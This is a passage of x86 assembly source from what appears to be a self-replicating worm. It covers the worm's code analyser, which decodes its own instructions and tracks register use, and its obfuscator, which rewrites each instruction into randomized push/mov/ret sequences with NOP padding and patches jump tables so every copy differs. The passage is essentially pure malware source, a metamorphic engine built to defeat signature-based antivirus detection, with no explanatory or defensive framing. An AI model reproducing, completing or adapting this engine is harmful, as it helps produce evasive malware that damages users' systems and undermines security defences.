1101'0101b cmp al, 0000'0000b ; (add|sub|or|and) Reg8, byte[Reg32] jne OverAFC6 jmp ebp OverAFC6: mov al, byte[esi] cmp al, 0x32 ; xor Reg8, byte[Reg32] jne OverAFC7 jmp ebp OverAFC7: setnumber eax, lAnalyseGotDouble___Reg8, 1 mov ebp, dword[eax] xor ebx, ebx ; Nothing in 1st Register mov al, byte[esi] cmp al, 0xFE ; inc Reg8 || dec Reg8 jne OverAFC8 jmp ebp OverAFC8: setnumber eax, lAnalyseGotDouble___Reg, 1 mov ebp, dword[eax] mov al, byte[esi] setnumber ebx, 0000'0010b, 1 cmp al, 0xD3 ; shl Reg32, cl || shr Reg32, cl jne OverAFC9 jmp ebp OverAFC9: setnumber ebx, 0000'0101b, 1 ; EAX and EDX mov al, byte[esi] cmp al, 0xF7 ; mul Reg32 || div Reg32 jne OverAFC10 jmp ebp OverAFC10: setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 1, 1 mov byte[eax], bl pop ebx xor ebx, ebx ; Nothing in 1st Register mov al, byte[esi] cmp al, 0xFF ; jmp dword[Reg32] jne OverAFC11 jmp ebp OverAFC11: setnumber eax, lAnalyseGotJxx, 1 mov ebp, dword[eax] mov al, byte[esi] and al, 1111'1000b cmp al, 0111'0000b ; some Jxx jne OverAFC12 jmp ebp OverAFC12: setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] mov al, byte[esi] ; push NN cmp al, 0x6A jne OverAFC13 jmp ebp OverAFC13: setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, edx push ebx xor ebx, ebx mov byte[eax], bl pop ebx setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] mov al, byte[esi] setnumber ebx, 1, 1 ; eax! and al, 1110'0111b cmp al, 0010'0100b ; (and|xor|sub|cmp) al, Imm jne OverAFCF1 jmp ebp OverAFCF1: setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 1, 1 mov byte[eax], bl pop ebx xor ebx, ebx ; no restr. setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 1, 1 mov dword[eax], ebx pop ebx mov al, byte[esi] ; pushad / popad and al, 1111'1110b cmp al, 0110'0000b jne OverAFC14 jmp ebp OverAFC14: mov al, byte[esi] ; retn cmp al, 0xC3 jne OverAFC15 jmp ebp OverAFC15: setnumber eax, lAnalyseGotSingleByteFindReg, 1 mov ebp, dword[eax] mov al, byte[esi] ; push/pop Reg32 and al, 1111'0000b cmp al, 0101'0000b jne OverAFC16 jmp ebp OverAFC16: setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, edx push ebx xor ebx, ebx mov byte[eax], bl pop ebx mov al, byte[esi] ; inc/dec Reg32 and al, 1111'0000b cmp al, 0100'0000b jne OverAFC17 jmp ebp OverAFC17: setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] mov al, byte[esi] ; int3 cmp al, 0xCC jne OverAFC18 jmp ebp OverAFC18: ; should be last entry!! setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 2, 1 mov dword[eax], ebx pop ebx setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx push 0110'0000b ; ESI & EDI pop ebx or byte[eax], bl setnumber ebx, 0x2, 1 ; ECX mov al, byte[esi] ; REP MOVSB cmp al, 0xF3 jne OverAFC19 jmp ebp OverAFC19: pushad ; invoke MessageBox, 0x0, a, a, 0x0 int3 ; 3xint3 int3 int3 popad pushad setnumber eax, VA_Registers, 1 mov ebx, dword[eax] add ebx, edx mov al, byte[ebx] setnumber eax, VA_CodeSize, 1 mov ebx, dword[eax] add ebx, edx mov ah, byte[ebx] mov bl, byte[esi] int3 popad AnalyseGotJxx: setnumber eax, WatchFlags, 1 push ebx xor ebx, ebx mov byte[eax], bl pop ebx setnumber eax, lAnalyseGotInstrFin, 1 jmp dword[eax] AnalyseGotSingleByteFindReg: setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] mov al, byte[esi] setnumber ebx, lGetRegisterCode, 1 jmp dword[ebx] AnalyseGotCmpReg8Reg8: setnumber eax, WatchFlags, 1 push ebx setnumber ebx, 1000'0000b, 1 mov byte[eax], bl pop ebx setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx push ebx setnumber ebx, 1000'0000b, 1 mov byte[eax], bl ; Save Flag pop ebx AnalyseGotDoubleReg8Reg8: setnumber eax, lAnalyseGotDouble___Reg8, 1 mov ebp, dword[eax] xor eax, eax inc esi mov al, byte[esi] dec esi push ecx setnumber ecx, 3, 1 shr eax, cl pop ecx setnumber ebx, lGetRegisterCode8, 1 jmp dword[ebx] AnalyseGotDouble___Reg8: setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx or byte[eax], bl inc esi mov al, byte[esi] dec esi setnumber ebx, lGetRegisterCode8, 1 jmp dword[ebx] AnalyseGotDoubleReg8Reg32: setnumber eax, lAnalyseGotDouble___Reg, 1 mov ebp, dword[eax] xor eax, eax inc esi mov al, byte[esi] dec esi push ecx setnumber ecx, 3, 1 shr eax, cl pop ecx setnumber ebx, lGetRegisterCode8, 1 jmp dword[ebx] AnalyseGotCmpRegReg: setnumber eax, WatchFlags, 1 push ebx setnumber ebx, 1000'0000b, 1 mov byte[eax], bl setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx mov byte[eax], bl ; Save Flag pop ebx AnalyseGotDoubleRegReg: setnumber eax, lAnalyseGotDouble___Reg, 1 mov ebp, dword[eax] xor eax, eax inc esi mov al, byte[esi] dec esi push ecx setnumber ecx, 3, 1 shr eax, cl pop ecx setnumber ebx, lGetRegisterCode, 1 jmp dword[ebx] AnalyseGotDouble___Reg: setnumber eax, lAnalyseGotInstrFin, 1 mov ebp, dword[eax] setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx or byte[eax], bl inc esi mov al, byte[esi] dec esi setnumber ebx, lGetRegisterCode, 1 jmp dword[ebx] AnalyseGotInstrFin: setnumber eax, VA_Registers, 1 mov eax, dword[eax] add eax, edx or byte[eax], bl setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, edx add ecx, dword[eax] pushad setnumber eax, VA_Registers, 1 mov ebx, dword[eax] add ebx, edx mov al, byte[ebx] setnumber eax, InstrRestriction, 1 mov ebx, dword[eax] add ebx, edx mov ah, byte[ebx] mov cl, byte[esi] ; int3 popad inc edx push eax setnumber eax, lAnalyseFileCode, 1 mov ebp, dword[eax] setnumber eax, FileCodeSize, 1 cmp ecx, dword[eax] pop eax jnb OverAFC20 jmp ebp OverAFC20: ; invoke MessageBox, 0x0, b, b, 0x0 ; int3 ;;; ;;; Code-Analyser ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Obfuscator ;;; setnumber eax, VA_BlankCode, 0 mov esi, dword[eax] ; Counter in BlankCode setnumber eax, WormCodeStart, 0 mov edi, dword[eax] ; Counter in new Code xor ebp, ebp ; integer++ Counter MutateNextInstruction: setnumber eax, lGetRandomNumber, 1 call dword[eax] setnumber ebx, RandomNumber, 1 xor eax, eax mov al, byte[ebx] and al, 0011'0000b setnumber ebx, lNoMutate, 1 cmp al, 0x0 je OverObf1 jmp dword[ebx] OverObf1: setnumber ebx, lMutationWithJmp, 1 setnumber eax, InstrRestriction, 1 mov eax, dword[eax] add eax, ebp mov al, byte[eax] and al, 0000'0001b push ebx xor ebx, ebx cmp al, bl pop ebx je OverObf2 jmp dword[ebx] OverObf2: MutationWithPush: ; push fin ; push instr+1 ; instr: mov Reg, 0xNN'NN'NN'NN - where one of the NN is C3=RET ; ret ; fin: push ebp setnumber eax, lGetRandomRegister, 1 call dword[eax] pop ebp push ebx ; Save Random Register setnumber eax, 0x50, 1 ; write PUSH REG add eax, ebx mov byte[edi], al inc edi setnumber eax, 0x68, 1 mov byte[edi], al ; write PUSH opcode mov eax, edi push ebx setnumber ebx, WormCodeStart, 1 mov ebx, dword[ebx] sub eax, ebx pop ebx addnumber eax, (CodeStartInMemory+16), 1 inc edi mov dword[edi], eax ; write addresse over ret addnumber edi, 4, 1 push eax setnumber eax, 0x68, 1 mov byte[edi], al ; write 2nd PUSH pop eax inc edi push ebx setnumber ebx, 5, 1 sub eax, ebx pop ebx mov dword[edi], eax ; write addresse of instruction in MOV instruction addnumber edi, 4, 1 pop ebx push ebx addnumber ebx, 0xB8, 1 mov byte[edi], bl ; write MOV inc edi xor ecx, ecx setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, ebp mov cl, byte[eax] push ecx rep movsb ; write one instruction pop ecx setnumber eax, 3, 1 sub eax, ecx mov ecx, eax ; ecx=4-1-InstrSize push esi setnumber esi, NopTmp, 1 rep movsb ; write NOP padding pop esi setnumber ebx, 0xC3, 1 mov byte[edi], bl ; write RETN inc edi mov byte[edi], bl ; write RETN inc edi pop ebx addnumber ebx, 0x58, 1 ; write POP REG mov byte[edi], bl inc edi xor ecx, ecx setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, ebp mov cl, byte[eax] setnumber eax, 18, 1 sub eax, ecx ; 18-size of instruction setnumber ebx, lAdjustJumpTable, 1 call dword[ebx] setnumber ebx, lFinishedThisInstruction, 1 jmp dword[ebx] MutationWithJmp: NoMutate: setnumber eax, VA_CodeSize, 1 mov eax, dword[eax] add eax, ebp xor ecx, ecx mov cl, byte[eax] rep movsb FinishedThisInstruction: setnumber ebx, lMutateNextInstruction, 1 inc ebp setnumber eax, FileCodeSize, 1 mov eax, dword[eax] push ebx setnumber ebx, VA_BlankCode, 1 mov ebx, dword[ebx] add eax, ebx pop ebx cmp esi, eax jnb OverObf3 jmp dword[ebx] OverObf3: xor ecx, ecx setnumber ebx, lObfuscatorWriteMoreUnObfuscatedCode, 1 setnumber ebp, (absend-endcode), 1 ObfuscatorWriteMoreUnObfuscatedCode: mov al, byte[esi] mov byte[edi], al inc esi inc edi inc ecx cmp ecx, ebp jnb OverObf4 jmp dword[ebx] OverObf4: ; invoke MessageBox, 0x0, e, e, 0x0 ;;; ;;; Obfuscator ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; setnumber eax, lCloseRandomFile, 0 call dword[eax] ret ; ##### ; ##### Mutate File :))) ; ##### ; ########################################################################### ; ########################################################################### GetRandomRegister: ;int3 setnumber eax, lGetRandomNumber, 0 call dword[eax] setnumber ecx, RandomNumber, 1 mov al, byte[ecx] and al, 7 ; 0000'0111 setnumber ecx, lGetRandomRegister, 1 cmp al, 7 jne OverGRR1 jmp dword[ecx] OverGRR1: mov ecx, eax setnumber eax, 1, 1 shl eax, cl push edx setnumber ebx, VA_Registers, 0 mov edx, dword[ebx] add edx, ebp xor ebx, ebx mov bl, byte[edx] pop edx and ebx, eax setnumber ecx, lGetRandomRegister, 1 push edx xor edx, edx cmp bl, dl pop edx je OverGRR2 jmp dword[ecx] OverGRR2: push eax setnumber eax, lEndGetRandomRegister, 0 mov ebp, dword[eax] pop eax setnumber ecx, lGetRegisterCodeInv, 1 jmp dword[ecx] ; bl=register code EndGetRandomRegister: ret GetRegisterCode: ; ebp -> JmpValue ; al -> RegisterCode ; bl -> Byte push ecx setnumber ecx, lEndGetRegisterCode, 1 and al, 0000'0111b setnumber ebx, 0000'0001b, 1 ; EAX cmp al, 0000'0000b jne OverGRC1 jmp dword[ecx] OverGRC1: setnumber ebx, 0000'0010b, 1 ; ECX cmp al, 0000'0001b jne OverGRC2 jmp dword[ecx] OverGRC2: setnumber ebx, 0000'0100b, 1 ; EDX cmp al, 0000'0010b jne OverGRC3 jmp dword[ecx] OverGRC3: setnumber ebx, 0000'1000b, 1 ; EBX cmp al, 0000'0011b jne OverGRC4 jmp dword[ecx] OverGRC4: setnumber ebx, 0001'0000b, 1 ; EBP cmp al, 0000'0101b jne OverGRC5 jmp dword[ecx] OverGRC5: setnumber ebx, 0010'0000b, 1 ; ESI cmp al, 0000'0110b jne OverGRC6 jmp dword[ecx] OverGRC6: setnumber ebx, 0100'0000b, 1 ; EDI cmp al, 0000'0111b jne OverGRC7 jmp dword[ecx] OverGRC7: int3 EndGetRegisterCode: pop ecx jmp ebp GetRegisterCode8: ; ebp -> JmpValue ; al -> RegisterCode ; bl -> Byte push ecx setnumber ecx, lEndGetRegisterCode8, 1 and al, 0000'0111b setnumber ebx, 0000'0001b, 1 ; AL cmp al, 0000'0000b jne OverGRC81 jmp dword[ecx] OverGRC81: setnumber ebx, 0000'0010b, 1 ; CL cmp al, 0000'0001b jne OverGRC82 jmp dword[ecx] OverGRC82: setnumber ebx, 0000'0100b, 1 ; DL cmp al, 0000'0010b jne OverGRC83 jmp dword[ecx] OverGRC83: setnumber ebx, 0000'1000b, 1 ; BL cmp al, 0000'0011b jne OverGRC84 jmp dword[ecx] OverGRC84: setnumber ebx, 0000'0001b, 1 ; AH cmp al, 0000'0100b jne OverGRC85 jmp dword[ecx] OverGRC85: setnumber ebx, 0000'0010b, 1 ; CH cmp al, 0000'0101b jne OverGRC86 jmp dword[ecx] OverGRC86: setnumber ebx, 0000'0100b, 1 ; DH cmp al, 0000'0110b jne OverGRC87 jmp dword[ecx] OverGRC87: setnumber ebx, 0000'1000b, 1 ; BH cmp al, 0000'0111b jne OverGRC88 jmp dword[ecx] OverGRC88: int3 EndGetRegisterCode8: pop ecx jmp ebp GetRegisterCodeInv: ; In: ; ebp -> JmpValue ; al -> Byte ; ; Out: ; bl -> RegisterCode push ecx setnumber ecx, lEndReturnRegisterCode, 1 setnumber ebx, 0000'0000b, 1 ; EAX cmp al, 0000'0001b jne OverGRCI1 jmp dword[ecx] OverGRCI1: setnumber ebx, 0000'0001b, 1 ; ECX cmp al, 0000'0010b jne OverGRCI2 jmp dword[ecx] OverGRCI2: setnumber ebx, 0000'0010b, 1 ; EDX cmp al, 0000'0100b jne OverGRCI3 jmp dword[ecx] OverGRCI3: setnumber ebx, 0000'0011b, 1 ; EBX cmp al, 0000'1000b jne OverGRCI4 jmp dword[ecx] OverGRCI4: setnumber ebx, 0000'0101b, 1 ; EBP cmp al, 0001'0000b jne OverGRCI5 jmp dword[ecx] OverGRCI5: setnumber ebx, 0000'0110b, 1 ; ESI cmp al, 0010'0000b jne OverGRCI6 jmp dword[ecx] OverGRCI6: setnumber ebx, 0000'0111b, 1 ; EDI cmp al, 0100'0000b jne OverGRCI7 jmp dword[ecx] OverGRCI7: int3 EndReturnRegisterCode: pop ecx jmp ebp AdjustJumpTable: pushad push eax ; xchg eax, ebp push ebp ; i prefere to keep the reduced instruction set :) pop eax pop ebp push eax setnumber eax, VA_BlankCode, 1 mov eax, dword[eax] sub esi, eax pop eax setnumber ebx, WormDataStart, 1 mov ebx, dword[ebx] addnumber ebx, (lVariableJmpTableStart-DataStart), 1 setnumber eax, WormDataStart, 1 mov eax, dword[eax] addnumber eax, (l2ConstJmpTableStart-DataStart), 1 xor ecx, ecx AdjustJumpTableNextAddress: mov edx, dword[eax] push eax setnumber eax, CodeStartInMemory, 1 sub edx, eax ; Addresse of instruction in VariableTable without Offset pop eax setnumber edi, lAdjustJumpTable_NoAdjust, 1 cmp edx, esi jnb OverAJT1 jmp dword[edi] OverAJT1: add dword[ebx], ebp AdjustJumpTable_NoAdjust: setnumber edi, lAdjustJumpTableNextAddress, 1 addnumber ebx, 4, 1 addnumber eax, 4, 1 addnumber ecx, 4, 1 push eax setnumber eax, (lVariableJmpTableEnd-lVariableJmpTableStart), 1 cmp ecx, eax pop eax jnb OverAJT2 jmp dword[edi] OverAJT2: popad ret endcode: ; ##### ; ##### Mutate File :))) ; ##### ; ########################################################################### ; ########################################################################### times 50'000 db 0x90 absend: times 50'000 db 0x90 ;endcode: .end start